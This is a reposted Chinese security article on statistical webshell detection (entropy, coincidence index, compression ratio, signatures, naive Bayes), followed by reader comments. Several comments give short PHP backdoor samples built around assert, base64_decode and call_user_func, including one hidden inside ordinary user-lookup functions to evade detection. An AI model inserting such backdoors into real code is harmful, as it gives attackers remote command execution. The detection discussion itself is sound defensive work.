CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

webshell

2017年5月23日 686点热度 0人点赞 0条评论
  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

浅谈webshell检测方法

携程安全中心2014-01-13+15共647053人围观 ,发现 76 个不明物体WEB安全

一  什么是webshell


“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为匿名用户(入侵者)通过网站端口对网站服务器的某种程度上操作的权限。
简单理解:webshell就是一个web的页面,但是它的功能非常强大可以获得一些管理员不希望你获得的权限,比如执行系统命令、删除web页面、修改主页等。
webshell中由于需要完成一些特殊的功能就不可避免的用到一些特殊的函数,我们也就可以对着特征值做检查来定位webshell,同样的webshell本身也会进行加密来躲避这种检测。

二  webshell长什么样子


下图就是一张php webshell的截图,它的功能还是比较全的,如果你是网站管理员的话肯定是不希望普通用户获得下面的权限的。

三   webshell检测有哪些方法


如果你怀疑你的网站被人上传了webshell或者你需要检查一下需要上线的代码中是否被嵌入了shell代码,就需要对这些文件进行扫描,那么有哪些方法可以扫描出这些webshell呢?
下面列举一下,也就是我们的webshell扫描工具中实现的功能。
1 求文件的重合指数index of coincidence(缩写为IC)
首先介绍一下什么是IC?

IC是用来判断文件是否被加密的一种方法。它的计算公式是这样的:

Σ(fi * (fi-1))/N(N-1)    :fi 代表样本中某个字母出现的比率,N代表字母出现在样本中的个数

通过计算,我们可以得到以下两个值:

english的IC值为0.0667,
english中一个完全随机的字符串的IC值为0.0385

那么这两个值有什么意义呢?
简单来说(english),
加密文件的IC值接近0.0385
明文文件的IC值接近0.0667
好了,那么我们就可以计算每个文件的IC值,如果这个文件的IC值接近0.0385,那么我们认为它是加密的,而一个web中加密的文件一般就意味着它是个为了逃避检测的webshell。
2   求信息熵
信息熵是一个数学上颇为抽象的概念,在这里不妨把信息熵理解成某种特定信息的出现概率(离散随机事件的出现概率)。一个系统越是有序,信息熵就越低;反之,一个系统越是混乱,信息熵就越高。信息熵也可以说是系统有序化程度的一个度量。
熵是从整个集合的统计特性来考虑的,它从平均意义上来表征信源的总体特征,其公式为:

如果有一个系统S内存在多个事件S = {E1,…,En}, 每个事件的机率分布 P = {p1, …, pn},则每个事件本身的讯息为

Ie = − log2pi

(对数以2为底,单位是位元(bit))

Ie = − lnpi

(对数以e为底,单位是纳特/nats)
如英语有26个字母,假如每个字母在文章中出现次数平均的话,每个字母的讯息量为

I_e = -\log_2 {1\over 26} = 4.7

而汉字常用的有2500个,假如每个汉字在文章中出现次数平均的话,每个汉字的信息量为

I_e = -\log_2 {1\over 2500} = 11.3

整个系统的平均消息量为

H_s = \sum_{i=1}^n p_i I_e = -\sum_{i=1}^n p_i \log_2 p_i

因此我们可以求每个文件的信息熵值,值越大,为webshell的可能性越高。
3、求文件中的最长单词
求一个文件中的最长单词是多长,比较异常的长单词是很可疑的。如下面的第一位的有84070,毫无疑问他是加密后的一整串字符串,极有可能是webshell

84070        /home/wwwroot/default/webshell/css.php

4、文件的可压缩比
文件的压缩比=压缩文件后的大小/文件的原始大小。
那么什么样的文件的压缩比比较大呢?这就要说到压缩算法的本质:
压缩的实质,在于消除特定字符分布上的不均衡,通过将短码分配给高频字符,而长码对应低频字符实现长度上的优化。
做了个简单的实验:将一个txt文件中填充了一堆的a字符,总大小为345KB,用7z压缩后为1K

那么我们是否可以这样理解,由base64编码过的文件,消除了非ascii的字符,这样实际上base64编码过的文件的字符就会表现为更小的分布的不均衡,压缩比就会变大。
5、特征值匹配
这里提到的特征值匹配分为2个部分:第一个是匹配特征函数和代码,也就是说webshell中会用到的而一般文件不会用到的函数和代码。第二个是指匹配特定webshell中的特征值。
第一种情况我们需要对这些函数和特征代码做整理,然后与文件进行匹配。
第二种情况需要收集出现过的webshell,将其中的特征码提取出来。目前已知的库位500个webshell的特征库,可以准确识别99%的已知的webshell。
6、文件属性
第一种:在web服务器中,文件一般的创建时间是几种的,如果某些文件的创建时间比较异常,那么它就有可能是webshell。
第二种:在web攻击过程中,有一种手法是利用mysql到出一句话木马到web目录中,那么这个导出的文件有其特殊性,所有导出的文件的权限都是666.那么我可以这么认定,权限为666的文件有可能是webshell。

四 朴素贝叶斯模型


以上几种方法都有其准确率和误报情况,经过测试,每个方法都能检测出一部分webshell并且存在着一定程度的误报,那么如何将他们的检测结果整合起来,来更准确的判定一个文件是否webshell?
由于我们的检测方法基本上是离散的,所以考虑使用朴素贝叶斯模型。
首先用数学语言描述一下我们的问题:
一个文件的检测结果有两种:是webshell和不是wenshell。那么检测结果是webshell的概率我们用P(y=1)来表示,检测结果不是webshell的概率我们用P(y=0)来表示。
假设我们的检测方法有5种,那么x = [x1,x2,x3,x4,x5].
假设我们检测一个文件后各个检测方法的结果为:x1 = 1,x2=0,x3=0,x4=0,x5=1
那么我们的目的是计算出P(y=1|x)和P(y=0|x)。也就是计算出该文件是webshell和不是webshell的概率各是多少,概率更大的我们就做为最终结果。
下面我们推演一下:
首先是贝叶斯公式为:

那么我们需要的P(y=1|x)为:

由于P(y=1|x)和P(y=0|x)中的分母都是一样的,所以我们只要求出分子进行比较,那个值比较大就取那个值。
现在我们未知的值为p(x1=1|y=1),p(x2=0|y=1),p(x3=0|y=1),p(x4=0|y=1),p(x5=1|y=1),p(y=1)
这些值应该如何得到呢?
首先我们需要一个样本,样本中大量的web文件,其中混有各种webshell,这些标签我们是可以确定的,那么下面我们要做的就是利用程序对这些样本进行检测,根据检测结果计算出我们需要的值,比如:
p(x1=0|y=1):它代表的意思就是检测的文件是webshell,利用x1检测方法的检测结果为0(不是webshell)
如果结果为P(y=1|x)>P(y=0|x),我们就判定该文件是webshell。

工具回头会在FB发布,敬请期待。

携程安全中心

携程安全中心3 篇文章等级: 2级
|
|
  • 上一篇:Hijack攻击揭秘
  • 下一篇:窥探用户隐私的幕后之眼 – Web Bugs

这些评论亮了

  • 亲爱的回复
    此文忽悠领导可以,实战绝对效果绝对不佳(做适当的变形,这个方法还不如关键字查杀)。简单地说三点:
    1.动态执行代码如php function handling 系列函数(19l)你根本没法检测,只能用关键字查杀。这种一句话与正常代码几乎没有区别(不然也就不会有各种php框架的代码执行)。如果你能准确检测这些,那么你这个程序已经不是WebShell检测工具而是Web漏洞挖掘工具(想想有几个php框架没用这些函数?)。至于.net和java现在已经是反射的天下,而同时反射API在dal-module层的实体映射被广泛使用,同样的class.forName.newInstance,AST法还能找到new了什么出来,你这个能分辨出哪个是正常的,哪个是后门?
    2.php/java都是开源,在源码关键调用部分加入审核机制并记录日志最后分析日志不比你这个高大上?.net hook技术在07年左右就已经用于商业壳中,相关的源码看雪都能找到,这种机制不比你这种查杀强得多?另外说一句,.net有着屌炸天的安全机制,配置好的话除非有.net framework 0day,否则想突破是做梦。
    3.我不认为任何方法能比得上AST法,AST法本质就是模拟代码执行流程跟踪一遍,跟AST法相比任何被动查杀都是取巧。
    给几个poc:
    最长单词法:$a='aaaa';$a.='bbbb';..........;eavl(base64_decode($a));
    压缩比法:同上
    信息熵法:同上
    重合指数法:同上
    特征码法:现在经常用,不谈。
    文件属性法:shell可以改属性,你这东西要是写成个实时监控各个文件属性,还不如去改php源码。
    )76(亮了
  • 花满楼回复
    数学系攻城狮的逆袭吗
    )57(亮了
  • solaris回复
    一个很简单的事搞的如此复杂还叫浅谈?
    一个可以四两拨千斤的事被炒的如此事倍功半,.net和php对webshell都有必杀技你却不用,凑论文字数?
    本文的内容作为毕业生的论文尚可,但拿到企业里实战就非常莫名其妙了。
    @携程信息安全团队的总监陈健,你必须重新制定携程安全实验室的考核指标,可以标新立异,但必须有实战意义,做这种事情就是浪费投资人资源,我是CTRP的股东。
    )31(亮了
  • xocoder(5级)回复
    @沙漠之鹰 刚看了下,马还是活的。
    )30(亮了
发表评论

已有 76 条评论

  • 花满楼 2014-01-13回复1楼

    数学系攻城狮的逆袭吗

    亮了(57)
  • bullock 2014-01-13回复2楼

    让现在还在用特征匹配去扫描webshell的情何以堪。。

    亮了(4)
  • LittleHann (5级)阿里巴巴安全工程师 2014-01-13回复3楼

    为何这么叼

    亮了(2)
  • maxcoco (5级) 2014-01-13回复4楼

    高大上。

    亮了(0)
  • Rozero (4级)酱油桑 2014-01-13回复5楼

    简单问题复杂化。。

    亮了(4)
  • Tomato 2014-01-13回复6楼

    什么东西啊。。。。数学家看的。

    亮了(0)
  • 错别字 2014-01-13回复7楼

    扣一个错别字吧。
    一个文件的检测结果有两种:是webshell和不是wenshell

    亮了(3)
  • 河蟹 2014-01-13回复8楼

    楼猪这么叼 你爸妈知道吗

    亮了(0)
  • lock (6级)独立安全研究员 2014-01-13回复9楼

    机器学习的思路,不错,最后朴素贝叶斯模型以上的几个维度并不是都适用。

    亮了(3)
  • lex109 2014-01-13回复10楼

    我想说如果数学学的渣的是不是就看不懂这篇文章哟,代码也就写不出来呀?

    亮了(0)
  • yoyo (1级)绿盟科技 2014-01-13回复11楼

    这是我见过的最复杂的数学问题之一。。。

    亮了(0)
  • fake 2014-01-13回复12楼

    我不看过程 只看效果

    亮了(0)
  • TMaMba (1级) 2014-01-13回复13楼

    能落地不拉

    亮了(1)
  • 无才布衣 (4级) 2014-01-13回复14楼

    高端大气上档次

    亮了(0)
  • 雨雨 2014-01-13回复15楼

    大学实验室里出来的人才?

    亮了(3)
  • LittleHann (5级)阿里巴巴安全工程师 2014-01-13回复16楼

    非常好的思考问题的维度,来学习了,赞一个

    亮了(1)
  • xxxxxxxxxx 2014-01-13回复17楼

    确实看起来像实验室里面出来的人才?这些东西写论文忽悠人可以,真用这些来写监测工具不说是简单问题搞复杂了,光误报率就会高的吓死人

    亮了(1)
    • ctripsec 2014-01-13回复

      @xxxxxxxxxx 这是实战文,里面提到的每点都是经过N次测试得出的结论,并且已经有现成的工具,而且误报是在所难免的,文中提到的几种方式已经将误报降到最低了哦,最后用朴素贝叶斯模型就是为了将各个维度综合起来得出结果。

      亮了(0)
  • snakeyuna (3级) 2014-01-13回复18楼

    暗组盾,检测已知和未知的WebShell

    亮了(1)
  • leo108 (1级)世界上有10种人,一种懂二进制,另一种不懂 2014-01-13回复19楼

    $arr = array(‘a’,'s’,'s’,'e’,'r’,'t’);
    $func = join(”, $arr);
    call_user_func_array($func,array(‘phpinfo()’));

    我想知道对于这个shell,有什么办法能够检查出来?

    亮了(1)
    • leo108 (1级)世界上有10种人,一种懂二进制,另一种不懂 2014-01-13回复

      @leo108  哦坑爹,引号都被替换成全角的了

      亮了(0)
    • xxxxt 2014-01-13回复

      @leo108  你那就执行一个phpinfo 算webshell?

      亮了(1)
      • xx 2014-01-13回复

        @xxxxt 亲爱的,bjs

        亮了(0)
  • litdg (6级)FB作者 2014-01-13回复20楼

    科学家啊!!!

    亮了(0)
  • hehe 2014-01-13回复21楼

    下回你给我讲高数 好吗? 我知道好多人高数都挂了

    亮了(5)
  • eyeful 2014-01-13回复22楼

    思路很完整,坐等工具啊~

    亮了(0)
  • xx 2014-01-13回复23楼

    确实有亮点!
    先阶段国内的webshell检测确实非常容易绕过
    利用统计搞检测,思路很赞的说~

    亮了(0)
  • kor_1989 2014-01-13回复24楼

    看完我脑子都不会转了

    亮了(0)
  • 近平 2014-01-13回复25楼

    <!–
    _.._ ,————.
    ,’ `. ( We want you! )
    / __) __` \ `-,———-’
    ( (`-`(-’) ) _.-’
    /) \ = / (
    /’ |–’ . \
    ( ,—| `-.)__`
    )( `-.,–’ _`-.
    ‘/,’ ( Uu",
    (_ , `/,-’ )
    `.__, : `-’/ /`–’
    | `–’ |
    ` `-._ /
    \ (
    /\ . \. freebuf
    / |` \ ,-\
    / \| .) / \
    ( ,’|\ ,’ :
    | \,`.`–"/ }
    `,’ \ |,’ /
    / "-._ `-/ |
    "-. "-.,’| ;
    / _/["---'""]
    : / |"- ‘
    ‘ | /
    ` |
    –>

    亮了(0)
  • aaa 2014-01-13回复26楼

    是骡子是马,拉出来遛遛,坐等工具出来被暴菊花

    亮了(1)
  • ziwen (4级)ziwen 终端机 编程 web渗透爱好者 2014-01-13回复27楼

    出门左拐 数学学院

    亮了(0)
  • 亲爱的 2014-01-13回复28楼

    此文忽悠领导可以,实战绝对效果绝对不佳(做适当的变形,这个方法还不如关键字查杀)。简单地说三点:
    1.动态执行代码如php function handling 系列函数(19l)你根本没法检测,只能用关键字查杀。这种一句话与正常代码几乎没有区别(不然也就不会有各种php框架的代码执行)。如果你能准确检测这些,那么你这个程序已经不是WebShell检测工具而是Web漏洞挖掘工具(想想有几个php框架没用这些函数?)。至于.net和java现在已经是反射的天下,而同时反射API在dal-module层的实体映射被广泛使用,同样的class.forName.newInstance,AST法还能找到new了什么出来,你这个能分辨出哪个是正常的,哪个是后门?
    2.php/java都是开源,在源码关键调用部分加入审核机制并记录日志最后分析日志不比你这个高大上?.net hook技术在07年左右就已经用于商业壳中,相关的源码看雪都能找到,这种机制不比你这种查杀强得多?另外说一句,.net有着屌炸天的安全机制,配置好的话除非有.net framework 0day,否则想突破是做梦。
    3.我不认为任何方法能比得上AST法,AST法本质就是模拟代码执行流程跟踪一遍,跟AST法相比任何被动查杀都是取巧。
    给几个poc:
    最长单词法:$a=’aaaa’;$a.=’bbbb’;……….;eavl(base64_decode($a));
    压缩比法:同上
    信息熵法:同上
    重合指数法:同上
    特征码法:现在经常用,不谈。
    文件属性法:shell可以改属性,你这东西要是写成个实时监控各个文件属性,还不如去改php源码。

    亮了(76)
    • 亲爱的 2014-01-13回复

      @亲爱的 再说一句,你这个方法本质上就是根据为躲避特征码查杀的加密数据的“无序”与正常代码的“有序”做判断,而这种“无序”只是表象,有无数种方法能改变它,例如读某个文件,例如远程文件,例如提交数据,例如上面的字符串拆分,例如array,例如反序列化,例如数据库,例如……等等

      亮了(2)
    • 携程安全实验室 (2级)携程旅行网安全团队 2014-01-13回复

      @亲爱的 文章标题已经说是浅谈了,所以在这块没有太深入,并且只是分享了几种网络上常见的检测webshell的方法,你的思路我们也考虑过,不过由于业务架构改动起来比较困难,所以前期也只是简单的实现,等后面时机成熟了会考虑增加进去,感谢提供的建议:)

      亮了(0)
    • will-j (1级) 2014-01-13回复

      @亲爱的 统计的方法进行检测是趋势,现在误报率的确是问题

      亮了(0)
      • 亲爱的 2014-01-14回复

        @will-j 误报不可怕,可怕的是检测不到。本质上来说,webshell还是一个合法的web脚本。既然是同样是合法的web脚本,那么必然有办法将webshell伪装得与正常文件极为相似。在这种情况下,基于数学的统计毫无优势可言,那么所谓的基于数学的统计就是个噱头罢了。
        其次,这个程序必然不是基于实时监控的–实时监控的检测没有意义,远不如部署沙盒环境限制底层API/监控文件系统/监控出入站数据更详细。而如果是定期的任务,那么跟日志记录相比除了轻量级似乎没有什么太大优势。
        最后还是那句话,对于一段脚本而言,最好的静态检测方法永远是AST法。参考以下php代码,我想知道如何用数学方法区分出这段代码是有问题的。
        function getuser()//正常函数,取当前用户信息返回数组
        {
        $con = getconn();
        $res = mysql_query("SELECT * FROM user where id=".$_SESSION['uid']);
        $row = mysql_fetch_array($result);
        return $row;
        }
        function inituser()//插入的一句话
        {
        $row=getuser();
        //从其他正常函数中摘取的代码
        $name=$row['lastname']; //asse
        //从其他正常函数中摘取的代码,里面$a为真值
        if($a){$name.=’rt’;$desc=$row['description'];}
        //从其他正常函数中摘取的代码,$b=0
        while(bool_express)
        {
        call_user_func($name,base64_decode($desc));
        if($b){continue;}else{break;}
        }
        //另外一些代码
        }
        调用:登录设置用户信息,lastname=asse,description= base64_encode(‘assert($_POST[c]);’) 之后的值,之后在某个公共函数中插入@inituser();

        亮了(1)
      • ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็ 2014-01-14回复

        @will-j  统计的方法进行检测是趋势的结论从何而来,谢谢

        亮了(0)
      • will-j (1级) 2014-01-14回复

        @ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็自己工作的总结,关键字检测只能检测到已知的,而统计检测能够拓展到未知检测。检测关键字的收集需要投入大量的人力,财力;统计的方式能够降低成本,但需要大量的样本作为支撑。

        亮了(1)
      • will-j (1级) 2014-01-14回复

        @亲爱的 我对webshell检测不太了解,不过做过其他方面的检测。
        一般来说检测模块分为: 高效低精度 和 高精度低效。
        统计检测适合作为高效低精度的检测,将大量合法的行为选择处理,减少后端高精度低效模块的检测压力。现在的检测不可能一个模块解决所有问题。

        亮了(0)
      • 亲爱的 2014-01-14回复

        @will-j 很好,经过处理后的恶意代码被高效低精度(所谓的统计)标记为低威胁甚至是无威胁,在进行高精度检测之前就已经排除,请问这所谓的“现在流行的趋势”的统计法作用是什么?
        对于web访问来说,每次访问/调用都是可以精确捕获的,这与效率无关(例如php error trace能精确到某行代码,说明内部有着代码跟踪机制,稍做修改即可变为日志功能—甚至是根据文件白名单进行筛选记录的日志),而在各个服务器系统上文件监控也已经非常成熟。动态监控有日志法,静态检测有慢速ast和快速正则+关键字,统计法的优势在哪里?这不是白名单不定的waf策略,正相反,他的白名单是基本/完全确定的。
        不了解不是理由,因为有着共性。而且文章与评论也说的很清楚了,统计法有没有用,一眼即知。

        亮了(3)
  • 数盟社区 2014-01-13回复29楼

    机器学习大杀四方啊。这几个特征还是比较典型的,更多文本方面的特征可以看看《Software Similarity and Classification》这本书。朴素贝叶斯速度快,但不是很适合体现多个特征融合后的效果。

    亮了(0)
  • KawaruNagisa 2014-01-13回复30楼

    感觉里面提到的方法更适合主机上的防护系统,能直接接触所有文件的。

    亮了(0)
  • Yang-Z-y 2014-01-13回复31楼

    开个红包,证明我爱过。

    亮了(0)
  • 阿楠有个大宝贝名字叫Curi 2014-01-13回复32楼

    啊。。。LZ是同行。。。难道?

    亮了(0)
  • zzd 2014-01-13回复33楼

    携程的朋友, 虽然我和你们熟. 但是不得不说, 这篇文章中使用的统计学的方法, 基本和 NeoPI 一样.
    Freebuf 上有这样一篇文章的: http://www.freebuf.com/articles/4240.html .
    个人认为, 基于统计学的方法, 是很难确定是否报警的阈值的.
    个人只是小菜鸟, 说得不对的, 不要放在心上.

    亮了(1)
    • 携程安全实验室 (2级)携程旅行网安全团队 2014-01-13回复

      @zzd 嗯,这个源码研究过,有参考里面的一些方法,检测中用的机器学习的方法,数据越多,相对来说越准确,并且报警的结果还是需要人工还审计的,只是做为其他工具的一个参考值而已,并不能说百分百能检测出问题,肯定会有一些误报漏报的。

      亮了(1)
  • 比卡超_子乐 2014-01-13回复34楼

    从来没想过可以用数学的方法来检测webshell..太牛逼了。。 不明觉厉, 坐等你们分享代码。

    亮了(0)
  • mIrr0xSSrer 2014-01-13回复35楼

    看到公式就头疼。。。。

    亮了(0)
  • medanzhu 2014-01-13回复36楼

    啊,这很奇怪吗?我置顶帖里翻译的那本书就是关于Web安全的啊。

    亮了(0)
  • Helen他表哥 (2级) 2014-01-13回复37楼

    Webshell是什么

    亮了(0)
  • r1fl3333 2014-01-13回复38楼

    看了下文章,高大上啊。。数学系的吧/

    亮了(0)
  • 怪大叔哈哈哈 2014-01-13回复39楼

    杀鸡用牛刀?

    亮了(0)
  • 沙漠之鹰 2014-01-14回复40楼

    你们去携程传个webshell试试不就知道了么。

    亮了(3)
    • xocoder (5级) 2014-01-14回复

      @沙漠之鹰 刚看了下,马还是活的。

      亮了(30)
      • 河蟹 2014-01-14回复

        @xocoder  没 图 你 说 个 JB

        亮了(1)
  • PCanyi (2级) 2014-01-14回复41楼

    NeoPI,很简短的代码检测webshell,用的就是信息熵,长短词这些方法,推荐大家去看一下。

    亮了(0)
    • ovens (3级) 2014-01-14回复

      @PCanyi  给个链接看看

      亮了(0)
    • PCanyi (2级) 2014-01-15回复

      明明是AT ovens,竟然出现在Tank的楼上。

      亮了(0)
  • __迷茫中__ 2014-01-14回复42楼

    大哥你家狗能加个验证吗?尽是非法站在用

    亮了(0)
  • Tank (1级)专注于渗透测试 2014-01-14回复43楼

    这个方法看着很华丽,很牛B的样子,但是不实用呀

    亮了(0)
    • PCanyi (2级) 2014-01-15回复

      @Tank

      https://github.com/Neohapsis/NeoPI
      http://en.wikipedia.org/wiki/Entropy_(information_theory)
      http://resources.infosecinstitute.com/web-shell-detection/

      亮了(0)
  • 黑客 2014-01-15回复44楼

    会点高数就那么牛B吗?。。

    亮了(0)
  • 老菜鸟 2014-01-16回复45楼

    麻烦谁给我解释下这个最长单词吧?这个没看懂

    3、求文件中的最长单词
    求一个文件中的最长单词是多长,比较异常的长单词是很可疑的。如下面的第一位的有84070,毫无疑问他是加密后的一整串字符串,极有可能是webshell
    84070 /home/wwwroot/default/webshell/css.php

    亮了(0)
  • frank 2014-01-17回复46楼

    其实作者的意思的本质只是说将来使用人工智能的方法来检测攻击将取代现在的特征值方法

    虽然现在人工智能检测法目前还很简陋,而且实际效果不强,但这是未来的一个方向

    亮了(2)
  • ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็ 2014-01-22回复47楼

    已提权,祖国和人民请放心

    亮了(1)
  • solaris 2014-01-25回复48楼

    一个很简单的事搞的如此复杂还叫浅谈?
    一个可以四两拨千斤的事被炒的如此事倍功半,.net和php对webshell都有必杀技你却不用,凑论文字数?
    本文的内容作为毕业生的论文尚可,但拿到企业里实战就非常莫名其妙了。

    @携程信息安全团队的总监陈健,你必须重新制定携程安全实验室的考核指标,可以标新立异,但必须有实战意义,做这种事情就是浪费投资人资源,我是CTRP的股东。

    亮了(31)
  • winpa 2014-01-26回复49楼

    脚本加密了怎么办?

    亮了(0)
  • zhuowater (1级) 2014-01-27回复50楼

    这套方案之前就有调研过也实现过,实际应用时各种不靠谱,毕竟webshell本质就是正常的程序代码,统计能检测个锤子,YY一下就好了,信息熵检测加密文本倒是ok。

    亮了(0)
1 2 下一页

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

携程安全中心

携程安全中心

携程旅行网安全团队

3 篇文章6 条评论

相关阅读

  • 分享一段struts st2漏洞批量查找的Python代码
  • Cookie前缀如何让Cookie更安全?
  • 第二届北京网络安全技术大赛夺旗赛Writeup(Web安全篇)
  • 宝马车载娱乐系统ConnectedDrive曝远程操控0day漏洞
  • 利用Window.Opener绕过CSRF保护

特别推荐

关注我们 分享每日精选文章

不容错过

  • 4月28日晚FreeBuf公开课(直播课程):XSS自动化渗透内网banish2016-04-28
  • 提漏洞,拿现金奖励:深信服官方漏洞报告平台长期入驻漏洞盒子漏洞盒子2014-11-06
  • 开源扫描仪的工具箱:安全行业从业人员自研开源扫描器合集Shun2017-05-22
  • FreeBuf 2017互联网安全创新大会视频&图文直播(已结束)kuma2016-12-29

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2017年5月23日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me